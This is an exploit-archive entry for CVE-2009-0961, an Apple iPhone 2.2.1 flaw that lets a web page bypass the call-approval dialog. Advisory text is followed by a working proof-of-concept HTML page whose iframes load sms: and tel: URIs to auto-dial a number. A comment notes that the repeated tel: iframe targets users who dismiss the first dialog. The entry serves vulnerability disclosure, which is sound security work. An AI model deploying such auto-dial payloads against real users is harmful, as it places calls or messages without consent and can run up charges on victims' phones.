Apple iPhone 2.2.1 - Call Approval Dialog Security Bypass (1)

Author: Collin Mulliner
type: remote
platform: hardware
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date_added: 2009-05-17 
date_updated: 2014-04-27 
verified: 1 
codes: CVE-2009-0961;OSVDB-55238 
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source: https://www.securityfocus.com/bid/35425/info

Apple iPhone is prone to a security-bypass vulnerability that may cause a call to be placed automatically.

Successfully exploiting this issue may allow attackers to bypass the Mail's call-approval dialog and place a call automatically from a vulnerable device.

NOTE: This issue was previously covered in BID 35414 (Apple iPhone and iPod touch Prior to Version 3.0 Multiple Vulnerabilities), but has been assigned its own record to better document it.

<html> <head> <title>iPhone Safari phone-auto-dial Exploit Demo by Collin Mulliner</title> </head> <body> <iframe src="sms:+12345" WIDTH=50 HEIGHT=10></iframe> <iframe src="tel:+12345" WIDTH=50 HEIGHT=10></iframe> <!-- second iframe is to attack quick users who manage to close the first call-dialog //--> <iframe src="tel:+12345" WIDTH=50 HEIGHT=10></iframe> </body> </html>